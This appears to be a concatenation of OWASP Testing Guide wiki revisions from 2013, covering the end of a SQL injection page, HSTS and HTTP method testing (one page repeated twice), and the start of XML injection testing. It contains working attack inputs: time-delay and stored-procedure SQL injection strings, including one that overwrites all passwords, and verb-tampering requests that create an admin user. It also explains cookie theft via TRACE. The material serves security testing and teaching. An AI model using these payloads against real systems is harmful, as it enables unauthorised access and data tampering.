request containing the return from the query “SELECT user FROM DUAL”. The tester can set up a webserver<br />
(e.g. Apache) or use the Netcat tool:<br />
<br />
<br />
/home/tester/nc –nLp 80<br />
<br />
GET /SCOTT HTTP/1.1<br />
Host: testerserver.com<br />
Connection: close<br />
<br />
<br />
=== Time delay Exploitation technique ===<br />
<br />
The Boolean<br />
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in<br />
which nothing is known on the outcome of an operation. This technique consists<br />
in sending an injected query and in case the conditional is true, the tester<br />
can monitor the time taken to for the server to respond. If there is a delay,<br />
the tester can assume the result of the conditional query is true. This<br />
exploitation technique can be different from DBMS to DBMS (check DBMS specific<br />
session)<br />
<br />
<br />
Consider the following SQL query:<br />
<br />
<br />
<pre>SELECT * FROM products WHERE id_product=$id_product</pre><br />
<br />
<br />
Consider also the request to a script who executes the<br />
query above:<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10</pre><br />
<br />
<br />
The malicious request would be (e.g. MySql 5.x):<br />
<br />
<br />
<pre>http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--</pre><br />
<br />
<br />
In this example<br />
the tester if checking whether the MySql version is<br />
5.x or not, making the server to delay the answer in 5 seconds. The tester can<br />
increase the delay’s time and monitor the responses. The tester also doesn’t<br />
need to wait for the response. Sometimes he can set a very high value (e.g.<br />
100) and cancel the request after some seconds.<br />
<br />
<br />
=== Stored Procedure Injection ===<br />
<br />
When using dynamic SQL within a stored procedure, the application must<br />
properly sanitize the user input to eliminate the risk of code injection. If<br />
not sanitized, the user could enter malicious SQL that will be executed within<br />
the stored procedure.<br />
<br />
<br />
Consider the following '''SQL Server Stored Procedure:'''<br />
<br />
<br />
Create<br />
procedure user_login @username varchar(20), @passwd varchar(20) As<br />
<br />
<br />
Declare @sqlstring varchar(250)<br />
<br />
<br />
Set @sqlstring = ‘<br />
<br />
<br />
Select 1<br />
from users<br />
<br />
<br />
Where<br />
username = ‘ + @username + ‘ and passwd<br />
= ‘ + @passwd<br />
<br />
<br />
exec(@sqlstring)<br />
Go<br />
User input:<br />
anyusername or 1=1'<br />
anypassword<br />
<br />
<br />
This procedure does not sanitize the input, therefore allowing the<br />
return value to show an existing record with these<br />
parameters.<br> <br><br />
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a<br />
user, but consider a dynamic reporting query where the user selects the columns<br />
to view. The user could insert malicious code into this scenario and compromise<br />
the data. <br><br />
Consider the following '''SQL Server Stored Procedure:'''<br />
<br />
<br />
Create<br />
procedure get_report @columnamelist varchar(7900)<br />
As<br />
Declare @sqlstring varchar(8000)<br />
Set @sqlstring = ‘<br />
Select ‘ + @columnamelist + ‘ from ReportTable‘<br />
exec(@sqlstring)<br />
Go<br />
<br />
User input:<br />
<br />
<br />
1 from<br />
users; update users set password = 'password'; select *<br />
<br />
<br />
This will result in the report running and all users’ passwords being<br />
updated.<br />
<br />
<br />
=== Automated Exploitation ===<br />
<br />
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:<br />
<br />
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap<br />
<br />
<br />
== Related Articles ==<br />
<br />
* [[Top 10 2013-A1-Injection]]<br />
* [[SQL Injection]]<br />
<br />
<br />
Technology specific Testing Guide pages have been created for the following DBMSs:<br />
<br />
* [[Testing for Oracle| Oracle]]<br />
* [[Testing for MySQL| MySQL]]<br />
* [[Testing for SQL Server | SQL Server]]<br />
<br />
== References ==<br />
<br />
'''Whitepapers'''<br><br />
<br />
* Victor Chapela: "Advanced SQL Injection" - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt<br />
* Chris Anley: "Advanced SQL Injection In SQL Server Applications" - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf<br />
* Chris Anley: "More Advanced SQL Injection" - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf<br />
* David Litchfield: "Data-mining with SQL Injection and Inference" - http://www.databasesecurity.com/webapps/sqlinference.pdf<br />
* Imperva: "Blinded SQL Injection" - https://www.imperva.com/lg/lgw.asp?pid=369<br />
* Ferruh Mavituna: "SQL Injection Cheat Sheet" - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/<br />
* Kevin Spett from SPI Dynamics: "SQL Injection" - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf<br />
* Kevin Spett from SPI Dynamics: "Blind SQL Injection" - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf<br />
<br />
'''Tools'''<br><br />
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt<br />
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]<br />
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]<br><br />
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]<br><br />
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/<br />
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]<br />
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]<br />
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/<br />
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]<br><br />
* http://sqlsus.sourceforge.net<br />
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Test_HTTP_Strict_Transport_Security_(OTG-CONFIG-007)&diff=157892Test HTTP Strict Transport Security (OTG-CONFIG-007)2013-09-04T21:53:55Z<p>Ryan Dewhurst: Fixed some typos, formatting, slight clean up</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
<br />
== Brief Summary ==<br />
<br><br />
The HTTP Strict Transport Security (HSTS) header is a mechanism that web sites have to communicate to the web browsers that all traffic exchanged with a given domain must always be sent over https, this will help protect the information from being passed over unencrypted requests.<br><br />
Considering the importance of this security measure it is important to verify that the web site is using this HTTP header, in order to ensure that all the data travels encrypted from the web browser to the server.<br><br />
<br><br />
== Description of the Issue == <br />
<br><br />
...here: Short Description of the Issue: Topic and Explanation<br />
<br><br />
== Black Box testing and example ==<br />
'''Testing for the presence of HSTS header:''' <br><br />
$ curl -s -D- <nowiki>https://paypal.com/</nowiki> | grep Strict<br />
'''Result Expected:'''<br><br />
Strict-Transport-Security: max-age=14400<br />
== References ==<br />
* OWASP HTTP Strict Transport Security - https://www.owasp.org/index.php/HTTP_Strict_Transport_Security<br />
* OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security - http://www.youtube.com/watch?v=zEV3HOuM_Vw</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&diff=157891Test HTTP Methods (OTG-CONFIG-006)2013-09-04T21:47:33Z<p>Ryan Dewhurst: Added curl to tools section</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
== Brief Summary ==<br />
HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server's HTTP TRACE method, is examined.<br><br />
<br />
== Short Description of the Issue == <br />
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC 2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:<br />
<br />
* HEAD<br />
* GET<br />
* POST<br />
* PUT<br />
* DELETE<br />
* TRACE<br />
* OPTIONS<br />
* CONNECT<br />
<br />
Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:<br />
<br />
* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim's server as a file repository<br />
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack<br />
* CONNECT: This method could allow a client to use the web server as a proxy<br />
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)<br />
<br />
If an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions.<br />
<br />
== Arbitrary HTTP Methods ==<br />
<br />
Arshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen and/or arbitrary HTTP methods to bypass an environment level access control check:<br />
<br />
* Many frameworks and languages treat "HEAD" as a "GET" request, albeit one without any body in the response. If a security constraint was set on "GET" requests such that only "authenticatedUsers" could access GET requests for a particular servlet or resource, it would be bypassed for the "HEAD" version. This allowed unauthorized blind submission of any privileged GET request<br />
<br />
* Some frameworks allowed arbitrary HTTP methods such as "JEFF" or "CATS" to be used without limitation. These were treated as if a "GET" method was issued, and again were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET requests.<br />
<br />
In many cases, code which explicitly checked for a "GET" or "POST" method would be safe. <br />
<br />
<br />
== Black Box testing and example ==<br />
'''Discover the Supported Methods''' <br><br />
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that, "The OPTIONS method represents a request for information about the communication options available on the request/response chain identified by the Request-URI". <br />
<br />
The testing method is extremely straightforward and we only need to fire up netcat (or telnet):<br />
<pre><br />
icesurfer@nightblade ~ $ nc www.victim.com 80 <br />
OPTIONS / HTTP/1.1<br />
Host: www.victim.com<br />
<br />
HTTP/1.1 200 OK<br />
Server: Microsoft-IIS/5.0<br />
Date: Tue, 31 Oct 2006 08:00:29 GMT<br />
Connection: close<br />
Allow: GET, HEAD, POST, TRACE, OPTIONS<br />
Content-Length: 0<br />
<br />
icesurfer@nightblade ~ $ <br />
</pre><br />
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section<br><br><br />
'''Test XST Potential'''<br><br />
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[XSS |Cross Site Scripting attacks]].<br />
<br />
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HTTPOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.<br />
<br />
As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:<br />
<pre><br />
icesurfer@nightblade ~ $ nc www.victim.com 80<br />
TRACE / HTTP/1.1<br />
Host: www.victim.com<br />
<br />
HTTP/1.1 200 OK<br />
Server: Microsoft-IIS/5.0<br />
Date: Tue, 31 Oct 2006 08:01:48 GMT<br />
Connection: close<br />
Content-Type: message/http<br />
Content-Length: 39<br />
<br />
TRACE / HTTP/1.1<br />
Host: www.victim.com<br />
</pre><br />
As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.<br />
<br />
There are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker has two ways to successfully launch a Cross Site Tracing attack:<br />
<br />
# Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack<br />
# Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.<br />
<br />
More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.<br><br />
<br />
== Black Box Testing of HTTP method tampering ==<br />
<br />
Testing for HTTP method tampering is essentially the same as testing for XST. <br />
<br />
=== Testing for arbitrary HTTP methods ===<br />
<br />
Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a "200" response that is not a login page, it is possible to bypass authentication and thus authorization. <br />
<br />
<pre><br />
[rapidoffenseunit:~] vanderaj% nc www.example.com 80<br />
JEFF / HTTP/1.1<br />
Host: www.example.com<br />
<br />
HTTP/1.1 200 OK<br />
Date: Mon, 18 Aug 2008 22:38:40 GMT<br />
Server: Apache<br />
Set-Cookie: PHPSESSID=K53QW...<br />
</pre><br />
<br />
If your framework or firewall or application does not support the "JEFF" method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.<br />
<br />
If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:<br />
<br />
* FOOBAR /admin/createUser.php?member=myAdmin<br />
* JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123<br />
* CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add<br />
<br />
With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin.<br />
<br />
=== Testing for HEAD access control bypass ===<br />
<br />
Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a "200" response that is not a login page, it is possible to bypass authentication and thus authorization. <br />
<br />
<pre><br />
[rapidoffenseunit:~] vanderaj% nc www.example.com 80<br />
HEAD /admin HTTP/1.1<br />
Host: www.example.com<br />
<br />
HTTP/1.1 200 OK<br />
Date: Mon, 18 Aug 2008 22:44:11 GMT<br />
Server: Apache<br />
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly<br />
Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br />
Pragma: no-cache<br />
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com<br />
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com<br />
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com<br />
Content-Language: EN<br />
Connection: close<br />
Content-Type: text/html; charset=ISO-8859-1<br />
</pre><br />
<br />
If you get a "405 Method not allowed" or "501 Method Unimplemented", the application/framework/language/system/firewall is working correctly. If a "200" response code comes back, and the response contains no body, it's likely that the application has processed the request without authentication or authorization and further testing is warranted. <br />
<br />
If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:<br />
<br />
* HEAD /admin/createUser.php?member=myAdmin<br />
* HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123<br />
* HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add<br />
<br />
With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin, all using blind request submission.<br />
<br />
== Gray Box testing and example == <br />
The testing in a Gray Box scenario follows the same steps of a Black Box scenario.<br />
<br />
== References ==<br />
'''Whitepapers'''<br><br />
* RFC 2616: "Hypertext Transfer Protocol -- HTTP/1.1"<br />
* RFC 2109 and RFC 2965: "HTTP State Management Mechanism"<br />
* Jeremiah Grossman: "Cross Site Tracing (XST)" - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br><br />
* Amit Klein: "XS(T) attack variants which can, in some cases, eliminate the need for TRACE" - http://www.securityfocus.com/archive/107/308433<br />
* Arshan Dabirsiaghi: "Bypassing VBAAC with HTTP Verb Tampering" - http://static.swpag.info/download/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf<br />
<br />
<br />
'''Tools'''<br />
* NetCat - http://nc110.sourceforge.net<br />
*cURL - http://curl.haxx.se/</div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Test_HTTP_Methods_(OTG-CONFIG-006)&diff=157890Test HTTP Methods (OTG-CONFIG-006)2013-09-04T21:46:43Z<p>Ryan Dewhurst: Updated "Bypassing VBAAC with HTTP Verb Tampering" tampering link</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
== Brief Summary ==<br />
HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server's HTTP TRACE method, is examined.<br><br />
<br />
== Short Description of the Issue == <br />
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC 2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:<br />
<br />
* HEAD<br />
* GET<br />
* POST<br />
* PUT<br />
* DELETE<br />
* TRACE<br />
* OPTIONS<br />
* CONNECT<br />
<br />
Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:<br />
<br />
* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim's server as a file repository<br />
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack<br />
* CONNECT: This method could allow a client to use the web server as a proxy<br />
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)<br />
<br />
If an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions.<br />
<br />
== Arbitrary HTTP Methods ==<br />
<br />
Arshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen and/or arbitrary HTTP methods to bypass an environment level access control check:<br />
<br />
* Many frameworks and languages treat "HEAD" as a "GET" request, albeit one without any body in the response. If a security constraint was set on "GET" requests such that only "authenticatedUsers" could access GET requests for a particular servlet or resource, it would be bypassed for the "HEAD" version. This allowed unauthorized blind submission of any privileged GET request<br />
<br />
* Some frameworks allowed arbitrary HTTP methods such as "JEFF" or "CATS" to be used without limitation. These were treated as if a "GET" method was issued, and again were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET requests.<br />
<br />
In many cases, code which explicitly checked for a "GET" or "POST" method would be safe. <br />
<br />
<br />
== Black Box testing and example ==<br />
'''Discover the Supported Methods''' <br><br />
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that, "The OPTIONS method represents a request for information about the communication options available on the request/response chain identified by the Request-URI". <br />
<br />
The testing method is extremely straightforward and we only need to fire up netcat (or telnet):<br />
<pre><br />
icesurfer@nightblade ~ $ nc www.victim.com 80 <br />
OPTIONS / HTTP/1.1<br />
Host: www.victim.com<br />
<br />
HTTP/1.1 200 OK<br />
Server: Microsoft-IIS/5.0<br />
Date: Tue, 31 Oct 2006 08:00:29 GMT<br />
Connection: close<br />
Allow: GET, HEAD, POST, TRACE, OPTIONS<br />
Content-Length: 0<br />
<br />
icesurfer@nightblade ~ $ <br />
</pre><br />
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section<br><br><br />
'''Test XST Potential'''<br><br />
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[XSS |Cross Site Scripting attacks]].<br />
<br />
The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HTTPOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.<br />
<br />
As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:<br />
<pre><br />
icesurfer@nightblade ~ $ nc www.victim.com 80<br />
TRACE / HTTP/1.1<br />
Host: www.victim.com<br />
<br />
HTTP/1.1 200 OK<br />
Server: Microsoft-IIS/5.0<br />
Date: Tue, 31 Oct 2006 08:01:48 GMT<br />
Connection: close<br />
Content-Type: message/http<br />
Content-Length: 39<br />
<br />
TRACE / HTTP/1.1<br />
Host: www.victim.com<br />
</pre><br />
As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.<br />
<br />
There are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker has two ways to successfully launch a Cross Site Tracing attack:<br />
<br />
# Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack<br />
# Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.<br />
<br />
More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman.<br><br />
<br />
== Black Box Testing of HTTP method tampering ==<br />
<br />
Testing for HTTP method tampering is essentially the same as testing for XST. <br />
<br />
=== Testing for arbitrary HTTP methods ===<br />
<br />
Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a "200" response that is not a login page, it is possible to bypass authentication and thus authorization. <br />
<br />
<pre><br />
[rapidoffenseunit:~] vanderaj% nc www.example.com 80<br />
JEFF / HTTP/1.1<br />
Host: www.example.com<br />
<br />
HTTP/1.1 200 OK<br />
Date: Mon, 18 Aug 2008 22:38:40 GMT<br />
Server: Apache<br />
Set-Cookie: PHPSESSID=K53QW...<br />
</pre><br />
<br />
If your framework or firewall or application does not support the "JEFF" method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.<br />
<br />
If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:<br />
<br />
* FOOBAR /admin/createUser.php?member=myAdmin<br />
* JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123<br />
* CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add<br />
<br />
With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin.<br />
<br />
=== Testing for HEAD access control bypass ===<br />
<br />
Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a "200" response that is not a login page, it is possible to bypass authentication and thus authorization. <br />
<br />
<pre><br />
[rapidoffenseunit:~] vanderaj% nc www.example.com 80<br />
HEAD /admin HTTP/1.1<br />
Host: www.example.com<br />
<br />
HTTP/1.1 200 OK<br />
Date: Mon, 18 Aug 2008 22:44:11 GMT<br />
Server: Apache<br />
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly<br />
Expires: Thu, 19 Nov 1981 08:52:00 GMT<br />
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0<br />
Pragma: no-cache<br />
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com<br />
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com<br />
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com<br />
Content-Language: EN<br />
Connection: close<br />
Content-Type: text/html; charset=ISO-8859-1<br />
</pre><br />
<br />
If you get a "405 Method not allowed" or "501 Method Unimplemented", the application/framework/language/system/firewall is working correctly. If a "200" response code comes back, and the response contains no body, it's likely that the application has processed the request without authentication or authorization and further testing is warranted. <br />
<br />
If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:<br />
<br />
* HEAD /admin/createUser.php?member=myAdmin<br />
* HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123<br />
* HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add<br />
<br />
With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin, all using blind request submission.<br />
<br />
== Gray Box testing and example == <br />
The testing in a Gray Box scenario follows the same steps of a Black Box scenario.<br />
<br />
== References ==<br />
'''Whitepapers'''<br><br />
* RFC 2616: "Hypertext Transfer Protocol -- HTTP/1.1"<br />
* RFC 2109 and RFC 2965: "HTTP State Management Mechanism"<br />
* Jeremiah Grossman: "Cross Site Tracing (XST)" - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf<br><br />
* Amit Klein: "XS(T) attack variants which can, in some cases, eliminate the need for TRACE" - http://www.securityfocus.com/archive/107/308433<br />
* Arshan Dabirsiaghi: "Bypassing VBAAC with HTTP Verb Tampering" - http://static.swpag.info/download/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf<br />
<br />
<br />
'''Tools'''<br />
* NetCat - http://nc110.sourceforge.net<br />
<br></div>Ryan Dewhursthttps://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&diff=157883Testing for XML Injection (OTG-INPVAL-008)2013-09-04T21:09:15Z<p>Ryan Dewhurst: Updated XML.txt hyperlink in the Tools section</p>
<hr />
<div>{{Template:OWASP Testing Guide v4}}<br />
<br />
== Brief Summary ==<br />
We talk about XML Injection testing when we try to inject an XML doc to the application: if the XML parser fails to make an appropriate data validation the test will result positive. <br><br />
<br />
== Short Description of the Issue == <br />
In this section, we describe a practical example of XML Injection: first, an XML style communication will be defined, and its working principles explained. Then, we describe the discovery method in which we try to insert XML metacharacters.<br />
Once the first step is accomplished, the tester will have some information about the XML structure, so it will be possible to try to inject XML data and tags (Tag Injection).<br />
<br />
== Black Box testing and example ==<br />
Let's suppose there is a web application using an XML style communication <br />
in order to perform user registration.<br />
This is done by creating and adding a new <user> node in an xmlDb file.<br />
Let's suppose the xmlDB file is like the following:<br />
<br />
'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?> <br />
<users> <br />
<user> <br />
<username>gandalf</username> <br />
<password>!c3</password> <br />
<userid>0</userid><br />
<mail>gandalf@middleearth.com</mail><br />
</user> <br />
<user> <br />
<username>Stefan0</username> <br />
<password>w1s3c</password> <br />
<userid>500</userid><br />
<mail>Stefan0@whysec.hmm</mail><br />
</user> <br />
</users></nowiki>'''<br />
<br />
When a user registers himself by filling an HTML form, <br />
the application receives the user's data in a standard request, which,<br />
for the sake of simplicity, will be supposed to be sent as a GET request.<br />
<br />
For example, the following values:<br />
<br />
'''Username: tony'''<br />
'''Password: Un6R34kb!e'''<br />
'''E-mail: s4tan@hell.com'''<br />
<br />
will produce the request:<br />
<br />
<nowiki>http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com</nowiki><br />
<br />
The application, then, builds the following node:<br />
<br />
'''<nowiki><user> <br />
<username>tony</username> <br />
<password>Un6R34kb!e</password> <br />
<userid>500</userid><br />
<mail>s4tan@hell.com</mail><br />
</user></nowiki>'''<br />
<br />
which will be added to the xmlDB:<br />
<br />
'''<nowiki><?xml version="1.0" encoding="ISO-8859-1"?> <br />
<users> <br />
<user> <br />
<username>gandalf</username> <br />
<password>!c3</password> <br />
<userid>0</userid><br />
<mail>gandalf@middleearth.com</mail><br />
</user> <br />
<user> <br />
<username>Stefan0</username> <br />
<password>w1s3c</password> <br />
<userid>500</userid><br />
<mail>Stefan0@whysec.hmm</mail><br />
</user> <br />
<user> <br />
<username>tony</username> <br />
<password>Un6R34kb!e</password> <br />
<userid>500</userid><br />
<mail>s4tan@hell.com</mail><br />
</user> <br />
</users></nowiki>'''<br />
=== Discovery ===<br />
